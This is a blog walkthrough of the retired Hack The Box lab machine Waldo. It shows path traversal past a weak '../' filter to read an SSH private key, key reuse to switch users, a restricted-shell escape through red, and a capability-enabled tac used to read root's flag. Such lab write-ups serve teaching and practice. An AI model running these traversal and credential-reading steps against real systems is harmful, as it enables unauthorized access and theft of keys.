Those Are The Guys!

Two guys who do stuff on YouTube: [@thoseguys1938](https://www.youtube.com/@thoseguys1938)

View on GitHub
16 December 2018

Htb Waldo

by Jake

This week we are taking a look at the retired Hack The Box machine Waldo (Medium difficulty)

We start off with an nmap scan:

root@kali: nmap -sC -sV -oN nmap 10.10.10.87
# Nmap 7.70 scan initiated Fri Aug 24 12:21:08 2018 as: nmap -sC -sV -oN nmap 10.10.10.87
Nmap scan report for 10.10.10.87
Host is up (0.32s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 24 12:21:43 2018 -- 1 IP address (1 host up) scanned in 34.42 seconds

There is a website running, so let’s take a look at that: 1.png

There are a few different buttons which probably perform different actions, so lets open up Burp and intercept a few of these requests.

Two interesting requests are POST requests to fileRead.php and dirRead.php: 2.png

The file= and path= parameters look like a good potential for a Local File Inclusion (LFI), we need to take a closer look at this so lets move them to repeater (ctrl+r, ctrl+shift+r) and play with some different values.

Directories are always easier so lets start with the obvious: 3.png

and we can see that we are able to read the files in the web root directory. Taking it further something interesting happens, if we try to up a directory we get the same result as the current directory:

4.png

Going up again (path=../..) we do get a result, but interestingly as soon as we add another slash to make it path=../../ we get dumped back in the web root directory. 5.png

There has to be an input filter in the code that is messing with us. Time to switch to the fileRead.php file and see if we can figure out whats going on. path=./fileRead.php gets us the file:

<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\t$fileContent['file'] = false;\n\theader('Content-Type: application\/json');\n\tif(isset($_POST['file'])){\n\t\theader('Content-Type: application\/json');\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file']));  \n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n

Once we replace all the \n’s with new line characters and format the code a bit nicer we get the file:

<?php
if($_SERVER['REQUEST_METHOD'] === \"POST\"){
    $fileContent['file'] = false;
    header('Content-Type: application\/json');
    if(isset($_POST['file'])){
        header('Content-Type: application\/json');
        $_POST['file'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['file']);
        if(strpos($_POST['file'], \"user.txt\") === false){
            $file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");
            $fileContent['file'] = fread($file,filesize($_POST['file'])); 
            fclose();
        }
    }
    echo json_encode($fileContent);
}

Looks like it is replacing any ../ input with an empty string, now everything makes sense. Luckily for us the str_replace() function is not recursive, so we are able to craft the input with this in mind. Stepping through what the code will do, we can assume that the string ....// will get the literal “../” removed leaving us with the string “../” which is exactly what we want. adding this a few times we can see that we are able to navigate around the box and read the root file system: 6.png

After a bit of browsing we discover that there is an SSH private key on there that we are able to read with the value file=../....//....//....//home/nobody/.ssh/.monitor We are given a single line string which I have pasted the entire line into a file called monitor.raw We can then run some sed find and replace commands to clean up the file:

root@kali: cat monitor.raw | cut -d "\"" -f 4 | sed 's/\\n/\n/g' | sed 's/\\//g' > monitor.key
root@kali: chmod 600 monitor.key

To explain the commands: sed 's/\\n/\n/g' uses the substitue command s/FIND/REPLACE syntax to find the literal string \n (The first slash escapes the second so that it is not interpreted as a new line character) which we replace with the new line character \n and the /g on the end indicates that the find and replace should be applied globally, not just at the first occurance. sed 's/\\//g' does the same thing, this time replacing all remaining single backslash characters with nothing, globally. These single backslashes exist to escape certain characters in the JSON that could otherwise be misinterpreted as JSON syntax.

The key was in the /home/nobody so we can assume it if for the nobody user:

ssh -i monitor.key nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ cat user.txt
32768bcd7513[REDACTED]
waldo:~$

And we have the user.txt

Looking at the authorized_keys file and the name of the original private key file, it is possible that this box suffers from a key reuse vulnerability for the monitor user. It doesn’t hurt to try so lets attempt to ssh to localhost, this time as monitor:

waldo:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf monitor@waldowaldo:~$
waldo:~$ ssh -i .ssh/.monitor monitor@127.0.0.1

7.png

Looks like we found Wal(ly)do

Trying to navigate around we seem to be in a restricted shell. 8.png

Looking at the bin directory we can see that we can only run a couple of restricted applications:

monitor@waldo:~$ ls bin
ls  most  red  rnano

red and rnano are the restricted versions of the standard ed and nano applications. A common method to escape a restricted shell is to use the restricted application to run bash. We can use red to do that:

monitor@waldo:~$ red
!/bin/bash
bash: dircolors: command not found
monitor@waldo:~$ cd ..
monitor@waldo:/home$

We are now able to run normal bash commands, but we still seem to be restricted to certain applications. Looking at our current $PATH variable we are able to see why:

monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
So we need to change our path back to the default:

monitor@waldo:~$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH

Now it’s feeling more like a proper terminal.

From here, the first thing we do is take a look at what is in our home directory:

monitor@waldo:~$ ls -la
total 40
drwxr-x--- 5 root    monitor 4096 Jul 24 07:58 .
drwxr-xr-x 5 root    root    4096 May  3  2018 ..
drwxrwx--- 3 app-dev monitor 4096 May  3  2018 app-dev
lrwxrwxrwx 1 root    root       9 Jul 24 07:58 .bash_history -> /dev/null
-r--r----- 1 root    monitor   15 May  3  2018 .bash_login
-r--r----- 1 root    monitor   15 May  3  2018 .bash_logout
-r--r----- 1 root    monitor   15 May  3  2018 .bash_profile
-r--r----- 1 root    monitor 3598 May  3  2018 .bashrc
dr-xr-x--- 2 root    monitor 4096 May  3  2018 bin
-r--r----- 1 root    monitor   15 May  3  2018 .profile
dr-x------ 2 monitor monitor 4096 May  3  2018 .ssh

The app-dev directory looks like its worth taking a look at.

Reading through the source we can see that it reads log files:

monitor@waldo:~/app-dev$ cat logMonitor.c
/*******************************************
*
*This is an application to print out common log files
*
********************************************/
...
...
case 'a' :
    strncpy(filename, "/var/log/auth.log", sizeof(filename));
    printFile(filename);
    break;
case 'A' :
    strncpy(filename, "/var/log/alternatives.log", sizeof(filename));
    printFile(filename);
    break;
...

Looking at these log files, only a high privilege user can normally read these files:

monitor@waldo:~$ ls -la /var/log
total 2232
drwxr-xr-x  4 root root   4096 Aug 24 00:09 .
drwxr-xr-x 11 root root   4096 May  1  2018 ..
-rw-r--r--  1 root root      0 Jul 15 09:05 alternatives.log
-rw-r-----  1 root adm     801 Aug 24 00:34 auth.log
...
monitor@waldo:~$ cat /var/log/auth.log
cat: /var/log/auth.log: Permission denied

Next we search around for a compiled version to see if it allows us to read the files, or if you still need to be privileged to read the logs we find:

monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
Aug 23 23:17:01 waldo CRON[922]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 23 23:17:01 waldo CRON[922]: pam_unix(cron:session): session closed for user root
Aug 24 00:17:01 waldo CRON[1024]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 24 00:17:01 waldo CRON[1024]: pam_unix(cron:session): session closed for user root
Aug 24 00:34:52 waldo sshd[1038]: Accepted publickey for monitor from 127.0.0.1 port 52836 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
Aug 24 00:34:52 waldo sshd[1038]: pam_unix(sshd:session): session opened for user monitor by (uid=0)
Aug 24 00:34:53 waldo systemd: pam_unix(systemd-user:session): session opened for user monitor by (uid=0)
Aug 24 00:34:53 waldo systemd-logind[349]: New session 3 of user monitor.

But how does it do it?! There is no SUID bit:

monitor@waldo:~/app-dev/v0.1$ ls -la
total 24
drwxr-x--- 2 app-dev monitor  4096 May  3  2018 .
drwxrwx--- 3 app-dev monitor  4096 May  3  2018 ..
-r-xr-x--- 1 app-dev monitor 13706 May  3  2018 logMonitor-0.1

Linux has a similar concept called Capabilities we can use the command getcap to see if the binary has any special capabilities:

monitor@waldo:~/app-dev/v0.1$ getcap logMonitor-0.1
logMonitor-0.1 = cap_dac_read_search+ei

Looking at the capabilities man page we can see that the cap_dac_read_search will bypass file read permissions.

CAP_DAC_READ_SEARCH
              * Bypass file read permission checks and directory read and
                execute permission checks;
              * invoke open_by_handle_at(2);
              * use the linkat(2) AT_EMPTY_PATH flag to create a link to a
                file referred to by a file descriptor.

The getcap man page also shows that we can use the -r argument to recursively find files with capabilities applied. So we use that against the root file system and hide any errors by passing them to /dev/null

monitor@waldo:~/app-dev/v0.1$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

There are two files on the box with capabilities, one is our log monitor which, as we have already discovered, can read log files we do not normally have permission to read. The other is a binary called tac which has the exact same capabilites.

Again looking at the man page for tac we can see that it is basically the same as cat but in reverse, probably could have guessed that from the name.

monitor@waldo:~/app-dev/v0.1$ man tac
TAC(1)                                                                                 User Commands                                                                                 TAC(1)
 
NAME
       tac - concatenate and print files in reverse
...

Now that we know thi, we can use tac directly against the root flag to read it:

monitor@waldo:~/app-dev/v0.1$ tac /root/root.txt
8fb67c[REDACTED]4584f6c

But didn’t the man page say it was cat in reverse? Does this mean that it also prints the file contents backwards? It is easy to test by tacing a file that we know how it used to look:

monitor@waldo:~/app-dev/v0.1$ tac /etc/motd
                            Here's Waldo, where's root?                             
                              %@@@@&(,,,,*(#&@@@@@@,    
                            ,@@@,,,,,,,,,,,,,,,,.(@@@                         
                           .@@,,,,,,,,,,,,,...,,,,,,@@                        
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@                       
                          *@@,,,,,,,.,****,..,,,,,,,,&@@                      
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,                     
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                     
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#                    
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@                    
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,                   
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@                   
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*                
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(              
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@              
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@              
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,             
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#             
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@             
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#           
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@          
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/         
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/         
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(          
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*  
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/  
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@& 
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&    
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/  
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &   
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,           
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(                    
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(                     
 @@&%#########@@@@/                        */@@@%(((@@@%                      
 %@@@@%##########&@@@....                 .#%#@@@@@@@#                        
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/                              
 (@################%@@@@@.     /**                                            
   /@@@&###########@@&*(*                                                     
   @@@#@@#&@#&#&@@@,*%/                                                       
       #*/%@@@@/.&@@,                                                         
          @@@,@@/ %                                                           
           &.

Looks like it is only reversing the line numbers, not the actual content of the lines so the flag should be valid as it is!

tags: htb - walkthrough - waldo